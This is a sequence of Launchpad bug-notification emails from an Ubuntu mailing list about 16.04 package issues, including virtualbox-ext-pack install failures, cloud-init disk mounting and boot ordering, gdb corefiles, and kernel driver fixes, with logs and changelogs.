  [Impact] virtualbox-ext-pack non-installable

  [test case] try to install it, the hardcoded sha256sum is different
  with the upstream one

  [other info] upstream changed the file without changing version
  http://download.virtualbox.org/virtualbox/5.0.24
Oracle_VM_VirtualBox_Extension_Pack-5.0.24-108355a.vbox-extpack   
05-Dec-2016 18:01  16M
Oracle_VM_VirtualBox_Extension_Pack-5.0.24.vbox-extpack   
05-Dec-2016 18:01  16M
  http://download.virtualbox.org/virtualbox/5.0.24/SHA256SUMS
  ^^

  Pré-configurando pacotes ...
  A seleccionar pacote anteriormente não seleccionado virtualbox-ext-pack.
  (Lendo banco de dados ... 366643 ficheiros e directórios actualmente 
instalados.)
  A preparar para desempacotar 
.../virtualbox-ext-pack_5.0.24-0ubuntu1.16.04.1_all.deb ...
  License has already been accepted.
  A descompactar virtualbox-ext-pack (5.0.24-0ubuntu1.16.04.1) ...
  Configurando virtualbox-ext-pack (5.0.24-0ubuntu1.16.04.1) ...
  virtualbox-ext-pack: downloading: 
http://download.virtualbox.org/virtualbox/5.0.24/Oracle_VM_VirtualBox_Extension_Pack-5.0.24.vbox-extpack
  The file will be downloaded into /usr/share/virtualbox-ext-pack
  0%...
  Progress state: NS_ERROR_FAILURE
  VBoxManage: error: Failed to install 
"/usr/share/virtualbox-ext-pack/Oracle_VM_VirtualBox_Extension_Pack-5.0.24.vbox-extpack"
  VBoxManage: error: VBoxExtPackRegister returned VERR_VERSION_MISMATCH, 
pReg= ErrInfo='VirtualBox version mismatch - expected 5.0 got 
5.1'
  VBoxManage: error: Details: code NS_ERROR_FAILURE (0x80004005), component 
ExtPackManagerWrap, interface IExtPackManager
  VBoxManage: error: Context: "RTEXITCODE handleExtPack(HandlerArg*)" at line 
1158 of file VBoxManageMisc.cpp
  dpkg: erro ao processar o pacote virtualbox-ext-pack (--configure):
   sub-processo script post-installation instalado retornou estado de saída de 
erro 1
  E: Sub-process /usr/bin/dpkg returned an error code (1)
  Um pacote falhou na instalação. Tentando recuperar:
  Configurando virtualbox-ext-pack (5.0.24-0ubuntu1.16.04.1) ...
  virtualbox-ext-pack: downloading: 
http://download.virtualbox.org/virtualbox/5.0.24/Oracle_VM_VirtualBox_Extension_Pack-5.0.24.vbox-extpack
  The file will be downloaded into /usr/share/virtualbox-ext-pack
  0%...
  Progress state: NS_ERROR_FAILURE
  VBoxManage: error: Failed to install 
"/usr/share/virtualbox-ext-pack/Oracle_VM_VirtualBox_Extension_Pack-5.0.24.vbox-extpack"
  VBoxManage: error: VBoxExtPackRegister returned VERR_VERSION_MISMATCH, 
pReg= ErrInfo='VirtualBox version mismatch - expected 5.0 got 
5.1'
  VBoxManage: error: Details: code NS_ERROR_FAILURE (0x80004005), component 
ExtPackManagerWrap, interface IExtPackManager
  VBoxManage: error: Context: "RTEXITCODE handleExtPack(HandlerArg*)" at line 
1158 of file VBoxManageMisc.cpp
  dpkg: erro ao processar o pacote virtualbox-ext-pack (--configure):
   sub-processo script post-installation instalado retornou estado de saída de 
erro 1
  Erros foram encontrados durante o processamento de:
   virtualbox-ext-pack

  ProblemType: Package
  DistroRelease: Ubuntu 16.04
  Package: virtualbox-ext-pack 5.0.24-0ubuntu1.16.04.1
  ProcVersionSignature: Ubuntu 4.4.0-31.50-lowlatency 4.4.13
  Uname: Linux 4.4.0-31-lowlatency x86_64
  NonfreeKernelModules: wl
  ApportVersion: 2.20.1-0ubuntu2.1
  AptOrdering:
   virtualbox-ext-pack: Install
   virtualbox-ext-pack: Configure
   NULL: ConfigurePending
  Architecture: amd64
  Date: Fri Jul 22 20:18:24 2016
  ErrorMessage: sub-processo script post-installation instalado retornou estado 
de saída de erro 1
  InstallationDate: Installed on 2016-07-19 (3 days ago)
  InstallationMedia: Ubuntu-Studio 16.04 LTS 

[Group.of.nepali.translators] [Bug 1647708] [NEW] Ephemeral disk on xenial is not mounted at boot

[Dan Watkins]

Public bug reported:

When I boot the latest xenial Azure image (containing cloud-init
0.7.8-49-g9e904bb-0ubuntu1~16.04.1), the ephemeral disk does not end up
mounted (though it is formatted appropriately).  Restarting the
mnt.mount service does mount it, which suggests there is an issue in the
ordering of the services at boot.

$ mount | grep mnt
$ sudo systemctl status mnt.mount 
● mnt.mount - /mnt
   Loaded: loaded (/etc/fstab; bad; vendor preset: enabled)
   Active: inactive (dead)
Where: /mnt
 What: /dev/disk/cloud/azure_resource-part1
 Docs: man:fstab(5)
   man:systemd-fstab-generator(8)
$ sudo journalctl -u mnt.mount 
-- No entries --
$ cat /etc/fstab 
# CLOUD_IMG: This file was created/modified by the Cloud Image build process
UUID=6a8554fa-8e1d-4916-ba03-4ca3837feb34   /ext4   
defaults,discard0 0
/dev/disk/cloud/azure_resource-part1/mntauto
defaults,nofail,x-systemd.requires=cloud-init.service,comment=cloudconfig   
0   2
$ sudo systemctl restart mnt.mount
$ mount | grep mnt
/dev/sdb1 on /mnt type ext4 (rw,relatime,data=ordered)
$ ls /mnt/
lost+found
$ sudo systemctl status mnt.mount 
● mnt.mount - /mnt
   Loaded: loaded (/etc/fstab; bad; vendor preset: enabled)
   Active: active (mounted) since Tue 2016-12-06 12:49:06 UTC; 6s ago
Where: /mnt
 What: /dev/sdb1
 Docs: man:fstab(5)
   man:systemd-fstab-generator(8)
  Process: 1916 ExecMount=/bin/mount /dev/disk/cloud/azure_resource-part1 /mnt 
-o defaults,x-systemd.requires=cloud-init.service,comment=cloudconfig 
(code=exited, status=0/SUCCESS)
Tasks: 0
   Memory: 88.0K
  CPU: 15ms

Dec 06 12:49:06 xenial-161206-1345 systemd[1]: Mounting /mnt...
Dec 06 12:49:06 xenial-161206-1345 systemd[1]: Mounted /mnt.

** Affects: cloud-init (Ubuntu)
 Importance: Critical
 Status: New

** Affects: cloud-init (Ubuntu Xenial)
 Importance: Undecided
 Status: New

** Also affects: cloud-init (Ubuntu Xenial)
   Importance: Undecided
   Status: New

-- 
You received this bug notification because you are a member of नेपाली
भाषा समायोजकहरुको समूह, which is subscribed to Xenial.
Matching subscriptions: Ubuntu 16.04 Bugs
https://bugs.launchpad.net/bugs/1647708

Title:
  Ephemeral disk on xenial is not mounted at boot

Status in cloud-init package in Ubuntu:
  New
Status in cloud-init source package in Xenial:
  New

Bug description:
  When I boot the latest xenial Azure image (containing cloud-init
  0.7.8-49-g9e904bb-0ubuntu1~16.04.1), the ephemeral disk does not end
  up mounted (though it is formatted appropriately).  Restarting the
  mnt.mount service does mount it, which suggests there is an issue in
  the ordering of the services at boot.

  $ mount | grep mnt
  $ sudo systemctl status mnt.mount 
  ● mnt.mount - /mnt
 Loaded: loaded (/etc/fstab; bad; vendor preset: enabled)
 Active: inactive (dead)
  Where: /mnt
   What: /dev/disk/cloud/azure_resource-part1
   Docs: man:fstab(5)
 man:systemd-fstab-generator(8)
  $ sudo journalctl -u mnt.mount 
  -- No entries --
  $ cat /etc/fstab 
  # CLOUD_IMG: This file was created/modified by the Cloud Image build process
  UUID=6a8554fa-8e1d-4916-ba03-4ca3837feb34 /ext4   
defaults,discard0 0
  /dev/disk/cloud/azure_resource-part1  /mntauto
defaults,nofail,x-systemd.requires=cloud-init.service,comment=cloudconfig   
0   2
  $ sudo systemctl restart mnt.mount
  $ mount | grep mnt
  /dev/sdb1 on /mnt type ext4 (rw,relatime,data=ordered)
  $ ls /mnt/
  lost+found
  $ sudo systemctl status mnt.mount 
  ● mnt.mount - /mnt
 Loaded: loaded (/etc/fstab; bad; vendor preset: enabled)
 Active: active (mounted) since Tue 2016-12-06 12:49:06 UTC; 6s ago
  Where: /mnt
   What: /dev/sdb1
   Docs: man:fstab(5)
 man:systemd-fstab-generator(8)
Process: 1916 ExecMount=/bin/mount /dev/disk/cloud/azure_resource-part1 
/mnt -o defaults,x-systemd.requires=cloud-init.service,comment=cloudconfig 
(code=exited, status=0/SUCCESS)
  Tasks: 0
 Memory: 88.0K
CPU: 15ms

  Dec 06 12:49:06 xenial-161206-1345 systemd[1]: Mounting /mnt...
  Dec 06 12:49:06 xenial-161206-1345 systemd[1]: Mounted /mnt.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/cloud-init/+bug/1647708/+subscriptions

___
Mailing list: https://launchpad.net/~group.of.nepali.translators
Post to : group.of.nepali.translators@lists.launchpad.net
Unsubscribe : https://launchpad.net/~group.of.nepali.translators
More help   : https://help.launchpad.net/ListHelp

[Group.of.nepali.translators] [Bug 1645501] Re: corefiles not created in armhf chroot on arm64 porter

[Launchpad Bug Tracker]

This bug was fixed in the package gdb - 7.12-0ubuntu3

---
gdb (7.12-0ubuntu3) zesty; urgency=medium

  * Add debian/patches/armhf-fpregset.patch. LP: #1645501.

 -- Kees Cook   Tue, 29 Nov 2016 15:30:20 -0800

** Changed in: gdb (Ubuntu)
   Status: Triaged => Fix Released

-- 
You received this bug notification because you are a member of नेपाली
भाषा समायोजकहरुको समूह, which is subscribed to Xenial.
Matching subscriptions: Ubuntu 16.04 Bugs
https://bugs.launchpad.net/bugs/1645501

Title:
  corefiles not created in armhf chroot on arm64 porter

Status in gdb package in Ubuntu:
  Fix Released
Status in gdb source package in Precise:
  Invalid
Status in gdb source package in Trusty:
  Triaged
Status in gdb source package in Xenial:
  Triaged
Status in gdb source package in Yakkety:
  Triaged

Bug description:
  Impact
  --
  Its not possible to create a corefile in an armhf chroot on an arm64 system.

  Test Case
  -
  On an arm64 system enter an armhf chroot, then 
  1) execute "gdb --args cat"
  2) in gdb type run
  3) press Ctrl-Z
  4) generate-core-file /tmp/my.core

  With the current version of gdb you'll see "Unable to fetch floating
  point registers.", with the version in -proposed you'll see "Saved
  corefile".

  Regression Potential
  
  I'm not quite sure.

  
  I'm filing this about gdb per Steve's suggestion, although this could be an 
issue somewhere else.

  I recently discovered that the apport-test-crash
  (https://code.launchpad.net/~daisy-pluckers/error-tracker-deployment
  /test-crashes) crash files produced for armhf are crash files without
  CoreDumps.  This happened sometime between 20160531 and 20161025.
  I've recreated this on the porter-arm64 box with the following minimal
  test case (generate-sigsegv-crash.py is from apport-test-crashes):

  schroot -c yakkety-armhf
  python generate-sigsegv-crash.py cat

  Running this on both armhf and arm64 we can see the following
  different output.

  armhf chroot on porter-armhf:

    47 Program received signal SIGSEGV, Segmentation fault.
    48 0xb6f599e4 in read () at ../sysdeps/unix/syscall-template.S:84
    49 84  ../sysdeps/unix/syscall-template.S: No such file or directory.
    50 (gdb) Saved corefile /tmp/tmp840s08i1/my.core

  armhf chroot on porter-arm64:

    47 Program received signal SIGSEGV, Segmentation fault.
    48 0xf772f9e4 in read () at ../sysdeps/unix/syscall-template.S:84
    49 84  ../sysdeps/unix/syscall-template.S: No such file or directory.
    50 (gdb) Unable to fetch the floating point registers.: Invalid argument.

  Notice how there is no core file save on porter-arm64.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/gdb/+bug/1645501/+subscriptions

___
Mailing list: https://launchpad.net/~group.of.nepali.translators
Post to : group.of.nepali.translators@lists.launchpad.net
Unsubscribe : https://launchpad.net/~group.of.nepali.translators
More help   : https://help.launchpad.net/ListHelp

[Group.of.nepali.translators] [Bug 1603436] Re: Regression in python2.7 SRU breaks python-cassandra

[Launchpad Bug Tracker]

This bug was fixed in the package python-cassandra-driver -
2.5.1-1ubuntu0.1

---
python-cassandra-driver (2.5.1-1ubuntu0.1) xenial; urgency=high

  * Cherry-pick upstream commit to fix compat with python 2.7.12 -
weakref.ref no longer accepts kwargs. (LP: #1603436)

 -- Dimitri John Ledkov   Mon, 25 Jul 2016 12:17:29
+0100

** Changed in: python-cassandra-driver (Ubuntu Xenial)
   Status: Fix Committed => Fix Released

-- 
You received this bug notification because you are a member of नेपाली
भाषा समायोजकहरुको समूह, which is subscribed to Xenial.
Matching subscriptions: Ubuntu 16.04 Bugs
https://bugs.launchpad.net/bugs/1603436

Title:
  Regression in python2.7 SRU breaks python-cassandra

Status in python-cassandra-driver package in Ubuntu:
  Fix Released
Status in python2.7 package in Ubuntu:
  Invalid
Status in python-cassandra-driver source package in Xenial:
  Fix Released
Status in python2.7 source package in Xenial:
  Invalid
Status in python-cassandra-driver source package in Yakkety:
  Fix Released
Status in python2.7 source package in Yakkety:
  Invalid

Bug description:
  "SRU: backport python 2.7.12 to 16.04 LTS" (bug 1591895) has caused a
  regression in (at least) python-cassandra. Any attempt to connect to a
  cluster fails due to:

  Traceback (most recent call last):
File "/usr/lib/python2.7/dist-packages/cassandra/cluster.py", line 1894, in 
_reconnect_internal
  return self._try_connect(host)
File "/usr/lib/python2.7/dist-packages/cassandra/cluster.py", line 1921, in 
_try_connect
  self_weakref = weakref.ref(self, callback=partial(_clear_watcher, 
weakref.proxy(connection)))
  TypeError: ref() does not take keyword arguments

  It would appear that Python 2.7.12 has made the permitted calling
  conventions for weakref.ref() stricter.

  See https://github.com/datastax/python-driver/pull/585 for upstream
  discussion of the issue.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/python-cassandra-driver/+bug/1603436/+subscriptions

___
Mailing list: https://launchpad.net/~group.of.nepali.translators
Post to : group.of.nepali.translators@lists.launchpad.net
Unsubscribe : https://launchpad.net/~group.of.nepali.translators
More help   : https://help.launchpad.net/ListHelp

[Group.of.nepali.translators] [Bug 1636912] Re: systemd-networkd runs too late for cloud-init.service (net)

[Martin Pitt]

>  Before=networking.service
> +Before=systemd-networkd.service

FTR, this should be generalized to Before=network-pre.target. This is
also applicable to Debian.

** Also affects: resolvconf (Ubuntu)
   Importance: Undecided
   Status: New

** Changed in: resolvconf (Ubuntu)
   Status: New => Triaged

** Changed in: resolvconf (Ubuntu Xenial)
   Status: New => Triaged

** Changed in: resolvconf (Ubuntu Yakkety)
   Status: New => Triaged

-- 
You received this bug notification because you are a member of नेपाली
भाषा समायोजकहरुको समूह, which is subscribed to Xenial.
Matching subscriptions: Ubuntu 16.04 Bugs
https://bugs.launchpad.net/bugs/1636912

Title:
  systemd-networkd runs too late for cloud-init.service (net)

Status in systemd:
  Fix Released
Status in cloud-init package in Ubuntu:
  Triaged
Status in resolvconf package in Ubuntu:
  Triaged
Status in systemd package in Ubuntu:
  Fix Released
Status in cloud-init source package in Xenial:
  Confirmed
Status in resolvconf source package in Xenial:
  Triaged
Status in systemd source package in Xenial:
  Fix Committed
Status in cloud-init source package in Yakkety:
  New
Status in resolvconf source package in Yakkety:
  Triaged
Status in systemd source package in Yakkety:
  Fix Committed

Bug description:
  Ubuntu Core 16 images using cloud-init fail to function when the
  DataSource is over the network (Like OpenStack) as networking is not
  yet available when cloud-init.service runs.

  cloud-init service unit deps look like this:

  [Unit]
  Description=Initial cloud-init job (metadata service crawler)
  DefaultDependencies=no
  Wants=cloud-init-local.service
  Wants=local-fs.target
  Wants=sshd-keygen.service
  Wants=sshd.service
  After=cloud-init-local.service
  After=networking.service
  Requires=networking.service
  Before=basic.target
  Before=dbus.socket
  Before=network-online.target
  Before=sshd-keygen.service
  Before=sshd.service
  Before=systemd-user-sessions.service
  Conflicts=shutdown.target

  Here's networkd unit deps:

  [Unit]
  Description=Network Service
  Documentation=man:systemd-networkd.service(8)
  ConditionCapability=CAP_NET_ADMIN
  DefaultDependencies=no
  # dbus.service can be dropped once on kdbus, and systemd-udevd.service can be
  # dropped once tuntap is moved to netlink
  After=systemd-udevd.service dbus.service network-pre.target 
systemd-sysusers.service systemd-sysctl.service
  Before=network.target multi-user.target shutdown.target
  Conflicts=shutdown.target
  Wants=network.target

  # On kdbus systems we pull in the busname explicitly, because it
  # carries policy that allows the daemon to acquire its name.
  Wants=org.freedesktop.network1.busname
  After=org.freedesktop.network1.busname

  And a critical-chain output:

  root@snap-test7:~# systemd-analyze critical-chain systemd-networkd
  Failed to get ID: Unit name systemd-networkd is not valid.
  The time after the unit is active or started is printed after the "@" 
character.
  The time the unit takes to start is printed after the "+" character.

  root@snap-test7:~# systemd-analyze critical-chain systemd-networkd.service
  The time after the unit is active or started is printed after the "@" 
character.
  The time the unit takes to start is printed after the "+" character.

  systemd-networkd.service +440ms
  └─dbus.service @11.461s
    └─basic.target @11.403s
  └─sockets.target @11.401s
    └─dbus.socket @11.398s
  └─cloud-init.service @10.127s +1.266s
    └─networking.service @9.305s +799ms
  └─network-pre.target @9.295s
    └─cloud-init-local.service @3.822s +5.469s
  └─local-fs.target @3.813s
    └─run-cgmanager-fs.mount @12.687s
  └─local-fs-pre.target @1.393s
    └─systemd-tmpfiles-setup-dev.service @1.116s +195ms
  └─kmod-static-nodes.service @887ms +193ms
    └─system.slice @783ms
  └─-.slice @721ms

  cloud-init would need networkd to run at or before
  'networking.service' so it can raise networking to then find and use
  network-based datasources.

  # grep systemd /usr/share/snappy/dpkg.list
  ii  libnss-resolve:amd64  229-4ubuntu11   
 amd64nss module to resolve names via systemd-resolved
  ii  libpam-systemd:amd64  229-4ubuntu11   
 amd64system and service manager - PAM module
  ii  libsystemd0:amd64 229-4ubuntu11   
 amd64systemd utility library
  ii  systemd   229-4ubuntu11   
 amd64system and service manager
  ii  systemd-sysv  229-4ubuntu11   
 amd64system and service manager - SysV links

  # grep cloud-init 

[Group.of.nepali.translators] [Bug 1605511] Re: openssl engine error if trying to exploit hw crypto on z due to library issue

[Frank Heimes]

** Also affects: ubuntu-z-systems
   Importance: Undecided
   Status: New

** Changed in: ubuntu-z-systems
   Status: New => Fix Committed

** Changed in: ubuntu-z-systems
   Importance: Undecided => Medium

-- 
You received this bug notification because you are a member of नेपाली
भाषा समायोजकहरुको समूह, which is subscribed to Xenial.
Matching subscriptions: Ubuntu 16.04 Bugs
https://bugs.launchpad.net/bugs/1605511

Title:
  openssl engine error if trying to exploit hw crypto on z due to
  library issue

Status in Ubuntu on IBM z Systems:
  Fix Committed
Status in libica package in Ubuntu:
  Invalid
Status in openssl package in Ubuntu:
  Invalid
Status in openssl-ibmca package in Ubuntu:
  Fix Released
Status in libica source package in Xenial:
  Invalid
Status in openssl source package in Xenial:
  Invalid
Status in openssl-ibmca source package in Xenial:
  Fix Committed
Status in libica source package in Yakkety:
  Invalid
Status in openssl source package in Yakkety:
  Invalid
Status in openssl-ibmca source package in Yakkety:
  Fix Committed

Bug description:
  [Testcase]
  * configure ibmca engine as per below instructions
  * execute openssl engine -c -
  * it should complete without any loading errors

  [Impact]
  * Out of the box stock configuration results in non-usable engine which 
errors out
  * Thus currently, without workarounds, the acceleration engine does not work. 
Meaning regression potential is low

  Please note this is the first time we are integrating openssl-ibmca,
  and it is not enabled by default. Hopefully things will be better /
  more stable going forward.

  openssl-ibmca usually requires libica2 and libica-utils for proper
  functioning and all required tooling (like icainfo, icastats, etc.)

  But after the installation of these packages and the configuration, with is 
like this:
  sudo tee -a /etc/ssl/openssl.cnf < 
/usr/share/doc/openssl-ibmca/examples/openssl.cnf.sample
  sudo vi /etc/ssl/openssl.cnf
  adding the following line as the first active one:
  openssl_conf = openssl_def
  and removing or commenting all other occurrences of that line in the config 
file
  and saving and closing the openssl.cnf file
  this output of the openssl engine command is expected:

  $ openssl engine
  (dynamic) Dynamic engine loading support
  (ibmca) Ibmca hardware engine support

  or even more precise these chiphers should be listed in case of "-c":

  $ openssl engine -c
  (dynamic) Dynamic engine loading support
  (ibmca) Ibmca hardware engine support
   [RAND, DES-ECB, DES-CBC, DES-OFB, DES-CFB, DES-EDE3, DES-EDE3-CBC, 
DES-EDE3-OFB, DES-EDE3-CFB, AES-128-ECB, AES-192-ECB, AES-256-ECB, AES-128-CBC, 
AES-192-CBC, AES-256-CBC, AES-128-OFB, AES-192-OFB, AES-256-OFB, AES-128-CFB, 
AES-192-CFB, AES-256-CFB, SHA1, SHA256, SHA512]

  But instead openssl is giving this error, due to a missing "libica.so":
  $ openssl engine
  Error configuring OpenSSL
  4395950360208:error:25066067:DSO support routines:DLFCN_LOAD:could not load 
the shared library:dso_dlfcn.c:187:filename(libica.so): libica.so: cannot open 
shared object file: No such file or directory
  4395950360208:error:25070067:DSO support routines:DSO_load:could not load the 
shared library:dso_lib.c:233:
  4395950360208:error:80066068:lib(128):IBMCA_INIT:dso failure:e_ibmca.c:1286:
  4395950360208:error:25066067:DSO support routines:DLFCN_LOAD:could not load 
the shared library:dso_dlfcn.c:187:filename(libica.so): libica.so: cannot open 
shared object file: No such file or directory
  4395950360208:error:25070067:DSO support routines:DSO_load:could not load the 
shared library:dso_lib.c:233:
  4395950360208:error:80066068:lib(128):IBMCA_INIT:dso failure:e_ibmca.c:1286:
  4395950360208:error:260BC066:engine routines:INT_ENGINE_CONFIGURE:engine 
configuration error:eng_cnf.c:191:section=ibmca_section, name=init, value=1
  4395950360208:error:0E07606D:configuration file routines:MODULE_RUN:module 
initialization error:conf_mod.c:223:module=engines, value=engine_section, 
retcode=-1
  $

  There is no libica.so that is shipped with any of the above packages 
(verified with dpkg -l) or otherwise available in the filesystem:
  $ sudo find / -name "libica.so" 2>/dev/null
  ubuntu@HWE0001:~$

  But there is a different verison of that libica:
  $ sudo find / -name "*libica.so*" 2>/dev/null
  /usr/lib/s390x-linux-gnu/libica.so.2
  /usr/lib/s390x-linux-gnu/libica.so.2.6.1
  $

  So there are right now two workarounds:
  1)
  creating a (symbolic) link from libica.so.2 to libica.so, like
  $ sudo ln -s /usr/lib/s390x-linux-gnu/libica.so.2 
/usr/lib/s390x-linux-gnu/libica.so
  that allows openssl to find a library named 'libica.so':
  18:15:00: frank.hei...@canonical.com: ubuntu@HWE0001:~$ openssl engine
  (dynamic) Dynamic engine loading support
  (ibmca) Ibmca hardware engine support
  But this could lead to issues in case of any potential functions or interface 
changes there we introduced with libica.so.2
  2)
  installation 

[Group.of.nepali.translators] [Bug 1559194] Re: Bad page state in process genwqe_gunzip pfn:3c275 in the genwqe device driver

[Launchpad Bug Tracker]

This bug was fixed in the package linux - 4.8.0-30.32

---
linux (4.8.0-30.32) yakkety; urgency=low

  * CVE-2016-8655 (LP: #1646318)
- packet: fix race condition in packet_set_ring

 -- Brad Figg   Thu, 01 Dec 2016 08:02:53 -0800

** Changed in: linux (Ubuntu)
   Status: In Progress => Fix Released

** CVE added: http://www.cve.mitre.org/cgi-
bin/cvename.cgi?name=2016-8655

-- 
You received this bug notification because you are a member of नेपाली
भाषा समायोजकहरुको समूह, which is subscribed to Xenial.
Matching subscriptions: Ubuntu 16.04 Bugs
https://bugs.launchpad.net/bugs/1559194

Title:
  Bad page state in process genwqe_gunzip pfn:3c275 in the genwqe device
  driver

Status in Release Notes for Ubuntu:
  Fix Released
Status in Ubuntu on IBM z Systems:
  Fix Released
Status in linux package in Ubuntu:
  Fix Released
Status in linux source package in Xenial:
  Fix Released
Status in linux source package in Yakkety:
  Fix Released

Bug description:
  == Comment: #0 - Dmitry Gorbachev  - 2016-03-17 
08:52:41 ==
  An error occurs when running zEDC compression/decompression and hotplugging 
PCI devices.
  There was 1G of memory, 2 pci functions and 50 threads of gunzipping enabled.

  Mar 14 23:59:01 s8330018 kernel: [ 4972.486883] BUG: Bad page state in 
process genwqe_gunzip  pfn:3c275
  Mar 14 23:59:01 s8330018 kernel: [ 4972.486888] page:03d100f09d40 
count:-1 mapcount:0 mapping:  (null) index:0x0
  Mar 14 23:59:01 s8330018 kernel: [ 4972.486891] flags: 0x0()
  Mar 14 23:59:01 s8330018 kernel: [ 4972.486895] page dumped because: nonzero 
_count
  Mar 14 23:59:01 s8330018 kernel: [ 4972.486897] Modules linked in: 
xt_CHECKSUM(E) iptable_mangle(E) ipt_MASQUERADE(E) nf_nat_masquerade_ipv4(E) 
iptable_nat(E) nf_conntrack_ipv4(E) nf_defrag_ipv4(E) nf_nat_ipv4(E) nf_nat(E) 
nf_conntrack(E) xt_tcpudp(E) bridge(E) stp(E) llc(E) iptable_filter(E) 
ip_tables(E) x_tables(E) genwqe_card(E) crc_itu_t(E) qeth_l2(E) qeth(E) vmur(E) 
ccwgroup(E) dm_multipath(E) ib_iser(E) rdma_cm(E) iw_cm(E) ib_cm(E) ib_sa(E) 
ib_mad(E) ib_core(E) ib_addr(E) iscsi_tcp(E) libiscsi_tcp(E) libiscsi(E) 
scsi_transport_iscsi(E) btrfs(E) zlib_deflate(E) raid10(E) raid456(E) 
async_memcpy(E) async_raid6_recov(E) async_pq(E) async_xor(E) async_tx(E) 
xor(E) raid6_pq(E) libcrc32c(E) raid1(E) raid0(E) linear(E) ghash_s390(E) 
prng(E) aes_s390(E) des_s390(E) des_generic(E) sha512_s390(E) sha256_s390(E) 
sha1_s390(E) sha_common(E) zfcp(E) qdio(E) scsi_transport_fc(E) 
dasd_eckd_mod(E) dasd_mod(E)
  Mar 14 23:59:01 s8330018 kernel: [ 4972.486916] CPU: 0 PID: 37867 Comm: 
genwqe_gunzip Tainted: GW   E   4.4.0-8-generic #23-Ubuntu
  Mar 14 23:59:01 s8330018 kernel: [ 4972.486916]209176f8 
20917788 0002 
  Mar 14 23:59:01 s8330018 kernel: [ 4972.486916]20917828 
209177a0 209177a0 00114182
  Mar 14 23:59:01 s8330018 kernel: [ 4972.486916]0011 
0092345a 03d1000a 000a
  Mar 14 23:59:01 s8330018 kernel: [ 4972.486916]209177e8 
20917788  20914000
  Mar 14 23:59:01 s8330018 kernel: [ 4972.486916] 
00114182 20917788 209177e8
  Mar 14 23:59:01 s8330018 kernel: [ 4972.486922] Call Trace:
  Mar 14 23:59:01 s8330018 kernel: [ 4972.486927] ([<0011406e>] 
show_trace+0xf6/0x148)
  Mar 14 23:59:01 s8330018 kernel: [ 4972.486929]  [<00114136>] 
show_stack+0x76/0xe8
  Mar 14 23:59:01 s8330018 kernel: [ 4972.486934]  [<00518c26>] 
dump_stack+0x6e/0x90
  Mar 14 23:59:01 s8330018 kernel: [ 4972.486937]  [<0027c376>] 
bad_page+0xe6/0x148
  Mar 14 23:59:01 s8330018 kernel: [ 4972.486938]  [<00280516>] 
get_page_from_freelist+0x49e/0xba8
  Mar 14 23:59:01 s8330018 kernel: [ 4972.486940]  [<00280ede>] 
__alloc_pages_nodemask+0x166/0xb00
  Mar 14 23:59:01 s8330018 kernel: [ 4972.486941]  [<0015635a>] 
s390_dma_alloc+0x82/0x1a0
  Mar 14 23:59:01 s8330018 kernel: [ 4972.486944]  [<03ff805ea142>] 
__genwqe_alloc_consistent+0x7a/0x90 [genwqe_card]
  Mar 14 23:59:01 s8330018 kernel: [ 4972.486947]  [<03ff805ea344>] 
genwqe_alloc_sync_sgl+0x17c/0x2e0 [genwqe_card]
  Mar 14 23:59:01 s8330018 kernel: [ 4972.486950]  [<03ff805e52da>] 
do_execute_ddcb+0x1da/0x348 [genwqe_card]
  Mar 14 23:59:01 s8330018 kernel: [ 4972.486952]  [<03ff805e5964>] 
genwqe_ioctl+0x51c/0xc20 [genwqe_card]
  Mar 14 23:59:01 s8330018 kernel: [ 4972.486953]  [<003145ee>] 
do_vfs_ioctl+0x3b6/0x518
  Mar 14 23:59:01 s8330018 kernel: [ 4972.486955]  [<003147f4>] 
SyS_ioctl+0xa4/0xb8
  Mar 14 23:59:01 s8330018 kernel: [ 4972.486956]  [<007ad1be>] 
system_call+0xd6/0x264
  Mar 14 23:59:01 s8330018 kernel: [ 4972.486957]  [<03ffa9df2492>] 
0x3ffa9df2492

To manage notifications about this bug go 

[Group.of.nepali.translators] [Bug 1621088] Re: Fix bugs under virtual scsi server driver for Power

[Launchpad Bug Tracker]

This bug was fixed in the package linux - 4.8.0-30.32

---
linux (4.8.0-30.32) yakkety; urgency=low

  * CVE-2016-8655 (LP: #1646318)
- packet: fix race condition in packet_set_ring

 -- Brad Figg   Thu, 01 Dec 2016 08:02:53 -0800

** Changed in: linux (Ubuntu)
   Status: In Progress => Fix Released

** CVE added: http://www.cve.mitre.org/cgi-
bin/cvename.cgi?name=2016-8655

-- 
You received this bug notification because you are a member of नेपाली
भाषा समायोजकहरुको समूह, which is subscribed to Xenial.
Matching subscriptions: Ubuntu 16.04 Bugs
https://bugs.launchpad.net/bugs/1621088

Title:
  Fix bugs under virtual scsi server driver for Power

Status in linux package in Ubuntu:
  Fix Released
Status in linux source package in Xenial:
  Fix Released
Status in linux source package in Yakkety:
  Fix Released

Bug description:
  == Comment: #0 - BRYANT G. LY  - 2016-09-06 12:16:14 ==
  All three of these have been accepted into the 4.9/scsi-queue and scsi tree 
under misc

  ibmvscsis: Properly deregister target sessions -
  
http://git.kernel.org/cgit/linux/kernel/git/jejb/scsi.git/commit/?id=712db3eb2c35e79986268bcd694ba8075445737d

  ibmvscsis: Code cleanup of print statements - 
  
http://git.kernel.org/cgit/linux/kernel/git/jejb/scsi.git/commit/?id=812902159d4174df9a82948c0445becb865dabec

  ibmvscsis: Fixed a bug reported by Dan Carpenter -
  
http://git.kernel.org/cgit/linux/kernel/git/jejb/scsi.git/commit/?id=f6dbe38edf1ef4929847c90e244204ef4c6b3ce7

  Still pending Review in target-devel mailing list:

  target/user: Return TCMU-generated sense data to fabric module - 
  Is still under review under scsi and target-devel mailing list.
  http://www.spinics.net/lists/target-devel/msg13449.html

  TCM-User fixes and cleanups -
  http://www.spinics.net/lists/target-devel/msg13444.html

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1621088/+subscriptions

___
Mailing list: https://launchpad.net/~group.of.nepali.translators
Post to : group.of.nepali.translators@lists.launchpad.net
Unsubscribe : https://launchpad.net/~group.of.nepali.translators
More help   : https://help.launchpad.net/ListHelp

[Group.of.nepali.translators] [Bug 1557776] Re: CONFIG_AUFS_XATTR is not set

[Launchpad Bug Tracker]

This bug was fixed in the package linux - 4.8.0-30.32

---
linux (4.8.0-30.32) yakkety; urgency=low

  * CVE-2016-8655 (LP: #1646318)
- packet: fix race condition in packet_set_ring

 -- Brad Figg   Thu, 01 Dec 2016 08:02:53 -0800

** Changed in: linux (Ubuntu)
   Status: Fix Committed => Fix Released

** CVE added: http://www.cve.mitre.org/cgi-
